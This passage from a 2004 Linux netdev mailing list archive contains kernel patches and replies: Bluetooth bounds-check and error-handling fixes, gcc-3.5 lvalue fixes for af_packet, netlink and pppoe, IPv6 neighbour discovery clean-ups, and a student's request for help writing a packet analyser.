*hdev; struct list_head *p; - int n = 0, size; + int n = 0, size, err; if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (!(hdev = hci_dev_get(req.dev_id))) - return -ENODEV; + if (req.conn_num >= (2*PAGE_SIZE)/sizeof(struct hci_conn_info)) + return -EINVAL; size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; - if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) return -ENOMEM; + + if (!(hdev = hci_dev_get(req.dev_id))) { + kfree(cl); + return -ENODEV; + } + ci = cl->conn_info; hci_dev_lock_bh(hdev); @@ -375,6 +378,9 @@ register struct hci_conn *c; c = list_entry(p, struct hci_conn, list); + if (n >= req.conn_num) + break; + bacpy(&(ci + n)->bdaddr, &c->dst); (ci + n)->handle = c->handle; (ci + n)->type = c->type; @@ -391,10 +397,10 @@ hci_dev_put(hdev); - copy_to_user((void *) arg, cl, size); + err = copy_to_user((void *) arg, cl, size) ? -EFAULT : 0; kfree(cl); - return 0; + return err; } int hci_get_conn_info(struct hci_dev *hdev, unsigned long arg) @@ -407,9 +413,6 @@ if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (verify_area(VERIFY_WRITE, ptr, sizeof(ci))) - return -EFAULT; - hci_dev_lock_bh(hdev); conn = hci_conn_hash_lookup_ba(hdev, req.type, &req.bdaddr); if (conn) { @@ -425,6 +428,5 @@ if (!conn) return -ENOENT; - copy_to_user(ptr, &ci, sizeof(ci)); - return 0; + return copy_to_user(ptr, &ci, sizeof(ci)) ? -EFAULT : 0; } diff -u linux-2.6.2-work32/net/bluetooth/hci_core.c-o linux-2.6.2-work32/net/bluetooth/hci_core.c --- linux-2.6.2-work32/net/bluetooth/hci_core.c-o 2004-02-05 08:09:54.000000000 +0100 +++ linux-2.6.2-work32/net/bluetooth/hci_core.c 2004-02-05 15:01:46.000000000 +0100 @@ -715,18 +715,16 @@ struct list_head *p; int n = 0, size; __u16 dev_num; - + int err; + if (get_user(dev_num, (__u16 *) arg)) return -EFAULT; - if (!dev_num) + if (!dev_num || dev_num >= (4*PAGE_SIZE)/sizeof(*dr)) return -EINVAL; size = dev_num * sizeof(*dr) + sizeof(*dl); - if (verify_area(VERIFY_WRITE, (void *) arg, size)) - return -EFAULT; - if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; dr = dl->dev_req; @@ -745,10 +743,10 @@ dl->dev_num = n; size = n * sizeof(*dr) + sizeof(*dl); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + return err ? -EFAULT : 0; } int hci_get_dev_info(unsigned long arg) From akpm@osdl.org Thu Feb 5 21:32:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 21:32:42 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i165WaKO022798 for ; Thu, 5 Feb 2004 21:32:39 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i165WON00763; Thu, 5 Feb 2004 21:32:25 -0800 Date: Thu, 5 Feb 2004 21:34:22 -0800 From: Andrew Morton To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: more gcc-2.5 patches Message-Id: <20040205213422.4fefcd27.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3036 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 36 Lines: 2 I managed to miss a few last time. From akpm@osdl.org Thu Feb 5 21:36:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 21:36:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i165aCKO023189 for ; Thu, 5 Feb 2004 21:36:13 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i165a0N01679; Thu, 5 Feb 2004 21:36:00 -0800 Date: Thu, 5 Feb 2004 21:36:00 -0800 Message-Id: <200402060536.i165a0N01679@mail.osdl.org> Subject: [patch 2/3] gcc-3.5: af_packet To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 3038 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 644 Lines: 25 Fix illegal lvalue with gcc-3.5 --- net/packet/af_packet.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/packet/af_packet.c~gcc-35-packet net/packet/af_packet.c --- 25/net/packet/af_packet.c~gcc-35-packet 2004-01-25 13:18:18.000000000 -0800 +++ 25-akpm/net/packet/af_packet.c 2004-01-25 13:18:40.000000000 -0800 @@ -961,7 +961,7 @@ static int packet_create(struct socket * sock_init_data(sock,sk); sk_set_owner(sk, THIS_MODULE); - po = pkt_sk(sk) = kmalloc(sizeof(*po), GFP_KERNEL); + po = sk->sk_protinfo = kmalloc(sizeof(*po), GFP_KERNEL); if (!po) goto out_free; memset(po, 0, sizeof(*po)); _ From akpm@osdl.org Thu Feb 5 21:36:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 21:36:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i165a6KO023183 for ; Thu, 5 Feb 2004 21:36:06 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i165ZsN01650; Thu, 5 Feb 2004 21:35:54 -0800 Date: Thu, 5 Feb 2004 21:35:54 -0800 Message-Id: <200402060535.i165ZsN01650@mail.osdl.org> Subject: [patch 1/3] gcc-3.5: netlink To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 3037 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 650 Lines: 25 Fix illegal lvalue with gcc-3.5 --- net/netlink/af_netlink.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/netlink/af_netlink.c~gcc-35-netlink net/netlink/af_netlink.c --- 25/net/netlink/af_netlink.c~gcc-35-netlink 2004-01-25 13:16:12.000000000 -0800 +++ 25-akpm/net/netlink/af_netlink.c 2004-01-25 13:18:09.000000000 -0800 @@ -230,7 +230,7 @@ static int netlink_create(struct socket sock_init_data(sock,sk); sk_set_owner(sk, THIS_MODULE); - nlk = nlk_sk(sk) = kmalloc(sizeof(*nlk), GFP_KERNEL); + nlk = sk->sk_protinfo = kmalloc(sizeof(*nlk), GFP_KERNEL); if (!nlk) { sk_free(sk); return -ENOMEM; _ From akpm@osdl.org Thu Feb 5 21:36:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 21:36:24 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i165aJKO023208 for ; Thu, 5 Feb 2004 21:36:20 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i165a6N01687; Thu, 5 Feb 2004 21:36:06 -0800 Date: Thu, 5 Feb 2004 21:36:06 -0800 Message-Id: <200402060536.i165a6N01687@mail.osdl.org> Subject: [patch 3/3] gcc-3.5: pppoe To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 3039 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 737 Lines: 25 drivers/net/pppoe.c: In function `pppoe_create': drivers/net/pppoe.c:519: error: invalid lvalue in assignment --- drivers/net/pppoe.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/pppoe.c~gcc-35-pppoe drivers/net/pppoe.c --- 25/drivers/net/pppoe.c~gcc-35-pppoe 2004-01-28 23:12:52.000000000 -0800 +++ 25-akpm/drivers/net/pppoe.c 2004-01-28 23:12:52.000000000 -0800 @@ -516,7 +516,7 @@ static int pppoe_create(struct socket *s sk->sk_protocol = PX_PROTO_OE; sk->sk_destruct = pppoe_sk_free; - po = pppox_sk(sk) = kmalloc(sizeof(*po), GFP_KERNEL); + po = sk->sk_protinfo = kmalloc(sizeof(*po), GFP_KERNEL); if (!po) goto frees; memset(po, 0, sizeof(*po)); _ From yoshfuji@linux-ipv6.org Fri Feb 6 01:09:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 01:09:27 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1699FKO007673 for ; Fri, 6 Feb 2004 01:09:15 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1274033CA5; Fri, 6 Feb 2004 18:10:07 +0900 (JST) Date: Fri, 06 Feb 2004 18:10:06 +0900 (JST) Message-Id: <20040206.181006.79694138.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3041 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 5671 Lines: 220 Hello. [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() D: Unify 3 similar code path in ndisc_recv_ns(). D: This patch also fixes: D: - flags sent with NA in reply to this NS D: - missing random delay after receipt of NS against anycast Thanks. --- linux26-dad/net/ipv6/ndisc.c Fri Feb 6 15:12:33 2004 +++ linux26-recv_ns/net/ipv6/ndisc.c Fri Feb 6 16:38:16 2004 @@ -707,8 +707,10 @@ static void ndisc_recv_ns(struct sk_buff struct ndisc_options ndopts; struct net_device *dev = skb->dev; struct inet6_ifaddr *ifp; + struct inet6_dev *idev = NULL; struct neighbour *neigh; int addr_type = ipv6_addr_type(saddr); + int inc; if (ipv6_addr_is_multicast(&msg->target)) { if (net_ratelimit()) @@ -757,6 +759,8 @@ static void ndisc_recv_ns(struct sk_buff } } + inc = ipv6_addr_is_multicast(daddr); + if ((ifp = ipv6_get_ifaddr(&msg->target, dev, 1)) != NULL) { if (ifp->flags & IFA_F_TENTATIVE) { /* Address is tentative. If the source @@ -784,127 +788,72 @@ static void ndisc_recv_ns(struct sk_buff addrconf_dad_failure(ifp); return; } - - if (addr_type == IPV6_ADDR_ANY) { - struct in6_addr maddr; - ipv6_addr_all_nodes(&maddr); - ndisc_send_na(dev, NULL, &maddr, &ifp->addr, - ifp->idev->cnf.forwarding, 0, - 1, 1); - in6_ifa_put(ifp); + idev = ifp->idev; + } else { + idev = in6_dev_get(dev); + if (!idev) { + /* XXX: count this drop? */ return; } - if (addr_type & IPV6_ADDR_UNICAST) { - if (ipv6_addr_is_multicast(daddr)) - nd_tbl.stats.rcv_probes_mcast++; - else - nd_tbl.stats.rcv_probes_ucast++; - - /* - * update / create cache entry - * for the source address - */ + if (ipv6_chk_acast_addr(dev, &msg->target) || + (idev->cnf.forwarding && + pneigh_lookup(&nd_tbl, &msg->target, dev, 0))) { + if (skb->stamp.tv_sec != 0 && + skb->pkt_type != PACKET_HOST && + inc != 0 && + idev->nd_parms->proxy_delay != 0) { + /* + * for anycast or proxy, + * sender should delay its response + * by a random time between 0 and + * MAX_ANYCAST_DELAY_TIME seconds. + * (RFC2461) -- yoshfuji + */ + struct sk_buff *n = skb_clone(skb, GFP_ATOMIC); + if (n) + pneigh_enqueue(&nd_tbl, idev->nd_parms, n); + goto out; + } + } else + goto out; + } - neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, dev); + if (addr_type == IPV6_ADDR_ANY) { + struct in6_addr maddr; - if (neigh || !dev->hard_header) { - ndisc_send_na(dev, neigh, saddr, &ifp->addr, - ifp->idev->cnf.forwarding, 1, - 1, 1); - if (neigh) - neigh_release(neigh); - } - } - in6_ifa_put(ifp); - } else if (ipv6_chk_acast_addr(dev, &msg->target)) { - struct inet6_dev *idev = in6_dev_get(dev); - - /* anycast */ - - if (!idev) { - /* XXX: count this drop? */ - return; - } - - if (addr_type == IPV6_ADDR_ANY) { - struct in6_addr maddr; - - ipv6_addr_all_nodes(&maddr); - ndisc_send_na(dev, NULL, &maddr, &msg->target, - idev->cnf.forwarding, 0, 0, 1); - in6_dev_put(idev); - return; - } + ipv6_addr_all_nodes(&maddr); + ndisc_send_na(dev, NULL, &maddr, &msg->target, + idev->cnf.forwarding, 0, (ifp != NULL), 1); + goto out; + } - if (addr_type & IPV6_ADDR_UNICAST) { - int inc = ipv6_addr_is_multicast(daddr); - if (inc) - nd_tbl.stats.rcv_probes_mcast++; - else - nd_tbl.stats.rcv_probes_ucast++; - - /* - * update / create cache entry - * for the source address - */ + if (inc) + nd_tbl.stats.rcv_probes_mcast++; + else + nd_tbl.stats.rcv_probes_ucast++; + + /* + * update / create cache entry + * for the source address + */ + neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, dev); - neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, skb->dev); + if (neigh || !dev->hard_header) { + ndisc_send_na(dev, neigh, saddr, &msg->target, + idev->cnf.forwarding, + 1, (ifp != NULL && inc), inc); + if (neigh) + neigh_release(neigh); + } - if (neigh || !dev->hard_header) { - ndisc_send_na(dev, neigh, saddr, - &msg->target, - idev->cnf.forwarding, 1, 0, inc); - if (neigh) - neigh_release(neigh); - } - } +out: + if (ifp) + in6_ifa_put(ifp); + else in6_dev_put(idev); - } else { - struct inet6_dev *in6_dev = in6_dev_get(dev); - if (in6_dev && in6_dev->cnf.forwarding && - (addr_type & IPV6_ADDR_UNICAST || - addr_type == IPV6_ADDR_ANY) && - pneigh_lookup(&nd_tbl, &msg->target, dev, 0)) { - int inc = ipv6_addr_is_multicast(daddr); - - if (skb->stamp.tv_sec == 0 || - skb->pkt_type == PACKET_HOST || - inc == 0 || - in6_dev->nd_parms->proxy_delay == 0) { - if (inc) - nd_tbl.stats.rcv_probes_mcast++; - else - nd_tbl.stats.rcv_probes_ucast++; - - if (addr_type & IPV6_ADDR_UNICAST) { - neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, dev); - - if (neigh) { - ndisc_send_na(dev, neigh, saddr, &msg->target, - 0, 1, 0, 1); - neigh_release(neigh); - } - } else { - /* proxy should also protect against DAD */ - struct in6_addr maddr; - ipv6_addr_all_nodes(&maddr); - ndisc_send_na(dev, NULL, &maddr, &msg->target, - 0, 0, 0, 1); - } - } else { - struct sk_buff *n = skb_clone(skb, GFP_ATOMIC); - if (n) - pneigh_enqueue(&nd_tbl, in6_dev->nd_parms, n); - in6_dev_put(in6_dev); - return; - } - } - if (in6_dev) - in6_dev_put(in6_dev); - } return; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Fri Feb 6 01:09:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 01:09:27 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1699CKO007665 for ; Fri, 6 Feb 2004 01:09:13 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 0106833CA5; Fri, 6 Feb 2004 18:10:03 +0900 (JST) Date: Fri, 06 Feb 2004 18:10:03 +0900 (JST) Message-Id: <20040206.181003.68972716.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH 1/3] IPV6: clean-up DAD vs tentative address From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3040 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1563 Lines: 56 Hello. [PATCH 1/3] IPV6: clean-up DAD vs tentative address D: clean-up NS (including DAD) vs tentative address Thanks. ===== net/ipv6/ndisc.c 1.67 vs edited ===== --- 1.67/net/ipv6/ndisc.c Wed Feb 4 02:13:51 2004 +++ edited/net/ipv6/ndisc.c Fri Feb 6 15:10:20 2004 @@ -764,23 +764,24 @@ does DAD, otherwise we ignore solicitations until DAD timer expires. */ - if (addr_type == IPV6_ADDR_ANY) { - if (dev->type == ARPHRD_IEEE802_TR) { - unsigned char *sadr = skb->mac.raw ; - if (((sadr[8] &0x7f) != (dev->dev_addr[0] & 0x7f)) || - (sadr[9] != dev->dev_addr[1]) || - (sadr[10] != dev->dev_addr[2]) || - (sadr[11] != dev->dev_addr[3]) || - (sadr[12] != dev->dev_addr[4]) || - (sadr[13] != dev->dev_addr[5])) - { - addrconf_dad_failure(ifp) ; - } - } else { - addrconf_dad_failure(ifp); - } - } else + if (addr_type != IPV6_ADDR_ANY) { in6_ifa_put(ifp); + return; + } + if (dev->type == ARPHRD_IEEE802_TR) { + unsigned char *sadr = skb->mac.raw; + if (((sadr[8] ^ dev->dev_addr[0]) & 0x7f) == 0 && + sadr[9] == dev->dev_addr[1] && + sadr[10] == dev->dev_addr[2] && + sadr[11] == dev->dev_addr[3] && + sadr[12] == dev->dev_addr[4] && + sadr[13] == dev->dev_addr[5]) { + /* looped-back to us */ + in6_ifa_put(ifp); + return; + } + } + addrconf_dad_failure(ifp); return; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Fri Feb 6 01:09:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 01:09:36 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1699MKO007679 for ; Fri, 6 Feb 2004 01:09:23 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id DE06833CA5; Fri, 6 Feb 2004 18:10:14 +0900 (JST) Date: Fri, 06 Feb 2004 18:10:14 +0900 (JST) Message-Id: <20040206.181014.40584753.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH 3/3] IPV6: use cheaper ipv6_addr_any() where appropriate From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3042 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 2211 Lines: 74 Hello. [PATCH 3/3] IPV6: use cheaper ipv6_addr_any() where appropriate D: Use cheaper ipv6_addr_any() where appropriate. Thanks. --- linux26-recv_ns/net/ipv6/ndisc.c Fri Feb 6 16:38:44 2004 +++ linux26-ipv6_addr_any/net/ipv6/ndisc.c Fri Feb 6 16:58:37 2004 @@ -709,7 +709,7 @@ static void ndisc_recv_ns(struct sk_buff struct inet6_ifaddr *ifp; struct inet6_dev *idev = NULL; struct neighbour *neigh; - int addr_type = ipv6_addr_type(saddr); + int dad = ipv6_addr_any(saddr); int inc; if (ipv6_addr_is_multicast(&msg->target)) { @@ -722,7 +722,7 @@ static void ndisc_recv_ns(struct sk_buff * RFC2461 7.1.1: * DAD has to be destined for solicited node multicast address. */ - if (addr_type == IPV6_ADDR_ANY && + if (dad && !(daddr->s6_addr32[0] == htonl(0xff020000) && daddr->s6_addr32[1] == htonl(0x00000000) && daddr->s6_addr32[2] == htonl(0x00000001) && @@ -752,7 +752,7 @@ static void ndisc_recv_ns(struct sk_buff * there MUST NOT be source link-layer address option * in the message. */ - if (addr_type == IPV6_ADDR_ANY) { + if (dad) { if (net_ratelimit()) printk(KERN_WARNING "ICMP6 NS: bad DAD packet (link-layer address option)\n"); return; @@ -768,10 +768,8 @@ static void ndisc_recv_ns(struct sk_buff does DAD, otherwise we ignore solicitations until DAD timer expires. */ - if (addr_type != IPV6_ADDR_ANY) { - in6_ifa_put(ifp); - return; - } + if (!dad) + goto out; if (dev->type == ARPHRD_IEEE802_TR) { unsigned char *sadr = skb->mac.raw; if (((sadr[8] ^ dev->dev_addr[0]) & 0x7f) == 0 && @@ -781,8 +779,7 @@ static void ndisc_recv_ns(struct sk_buff sadr[12] == dev->dev_addr[4] && sadr[13] == dev->dev_addr[5]) { /* looped-back to us */ - in6_ifa_put(ifp); - return; + goto out; } } addrconf_dad_failure(ifp); @@ -820,7 +817,7 @@ static void ndisc_recv_ns(struct sk_buff goto out; } - if (addr_type == IPV6_ADDR_ANY) { + if (dad) { struct in6_addr maddr; ipv6_addr_all_nodes(&maddr); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From jeffrin_jose@rajagiritech.ac.in Fri Feb 6 02:29:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 02:30:03 -0800 (PST) Received: from mail.rajagiritech.ac.in ([203.197.151.50]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16ATpKO016318 for ; Fri, 6 Feb 2004 02:29:53 -0800 Received: from rajagiritech.ac.in (www-data@localhost [127.0.0.1]) by mail.rajagiritech.ac.in (8.12.3/8.12.3/Debian -4) with SMTP id i16A7Ghr015108 for ; Fri, 6 Feb 2004 15:37:18 +0530 Received: from 202.88.226.19 (RasetMail authenticated user jeffrin_jose) by mail.rajagiritech.ac.in with HTTP; Fri, 6 Feb 2004 15:37:18 +0530 (IST) Message-ID: <1050.202.88.226.19.1076062038.mailer@mail.rajagiritech.ac.in> Date: Fri, 6 Feb 2004 15:37:18 +0530 (IST) Subject: Project related From: "Jeffrin" To: X-Priority: 3 Importance: Normal X-Mailer: RasetMail (version 1.2.8) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3044 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jeffrin_jose@rajagiritech.ac.in Precedence: bulk X-list: netdev Content-Length: 844 Lines: 28 I am planning to do a project which does a full packet analyse stuff and other operations related to it.I am not that well versed in programming but i need to learn and i want you to be my guide in this project.If you guide me a teach me and make me a good programmer then i will be a good asset to FSF.I am working for atleast GNU support for Rajagiri School of Engineering and Technology. Here is my beginning related TODO's ... * Bring the NIC to promiscous mode. * Caputure the packets from the buffer. * Find source and destination * Find the type of the packet [TCP or any other protocols] Please give me intructions and i will follow it. ----------------------------------------- Rajagiri School of Engineering and Technology Kakkanad, Ernakulam http://rajagiritech.ac.in/ From marcel@holtmann.org Fri Feb 6 06:59:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 06:59:09 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16Ex4KO026322 for ; Fri, 6 Feb 2004 06:59:05 -0800 Received: from pegasus (pD9E117F5.dip.t-dialin.net [217.225.23.245]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i16ExSV4001411; Fri, 6 Feb 2004 15:59:28 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040206050042.20a2b3b0.ak@suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> Content-Type: text/plain Message-Id: <1076079512.2806.40.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Fri, 06 Feb 2004 15:58:32 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3045 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Content-Length: 2515 Lines: 85 Hi Andi, > While reading bluetooth code I noticed some bugs and potential overflows. > > Also I commented one ref-counting bug. > > Patch against 2.6.2. thanks for looking at it. Same applies to 2.4, right? > diff -u linux-2.6.2-work32/net/bluetooth/cmtp/sock.c-o linux-2.6.2-work32/net/bluetooth/cmtp/sock.c > --- linux-2.6.2-work32/net/bluetooth/cmtp/sock.c-o 2004-02-05 08:09:54.000000000 +0100 > +++ linux-2.6.2-work32/net/bluetooth/cmtp/sock.c 2004-02-05 14:57:57.000000000 +0100 > @@ -87,8 +87,10 @@ > if (!nsock) > return err; > > - if (nsock->sk->sk_state != BT_CONNECTED) > + if (nsock->sk->sk_state != BT_CONNECTED) { > + fput(nsock->file); > return -EBADFD; > + } > > err = cmtp_add_connection(&ca, nsock); > if (!err) { The same should apply to net/bluetooth/bnep/sock.c > diff -u linux-2.6.2-work32/net/bluetooth/hci_sock.c-o linux-2.6.2-work32/net/bluetooth/hci_sock.c > --- linux-2.6.2-work32/net/bluetooth/hci_sock.c-o 2004-02-05 08:09:54.000000000 +0100 > +++ linux-2.6.2-work32/net/bluetooth/hci_sock.c 2004-02-05 14:57:59.000000000 +0100 > @@ -392,6 +392,8 @@ > > skb->pkt_type = *((unsigned char *) skb->data); > skb_pull(skb, 1); > + /* AK: looks broken. Who guarantees that hdev doesn't go away while > + the skb is queued ? */ > skb->dev = (void *) hdev; > > if (skb->pkt_type == HCI_COMMAND_PKT) { Why should hdev go away? > diff -u linux-2.6.2-work32/net/bluetooth/hci_conn.c-o linux-2.6.2-work32/net/bluetooth/hci_conn.c > --- linux-2.6.2-work32/net/bluetooth/hci_conn.c-o 2004-02-05 08:09:54.000000000 +0100 > +++ linux-2.6.2-work32/net/bluetooth/hci_conn.c 2004-02-05 15:06:10.000000000 +0100 > @@ -353,21 +353,24 @@ > struct hci_conn_info *ci; > struct hci_dev *hdev; > struct list_head *p; > - int n = 0, size; > + int n = 0, size, err; > > if (copy_from_user(&req, (void *) arg, sizeof(req))) > return -EFAULT; > > - if (!(hdev = hci_dev_get(req.dev_id))) > - return -ENODEV; > + if (req.conn_num >= (2*PAGE_SIZE)/sizeof(struct hci_conn_info)) > + return -EINVAL; > > size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); > > - if 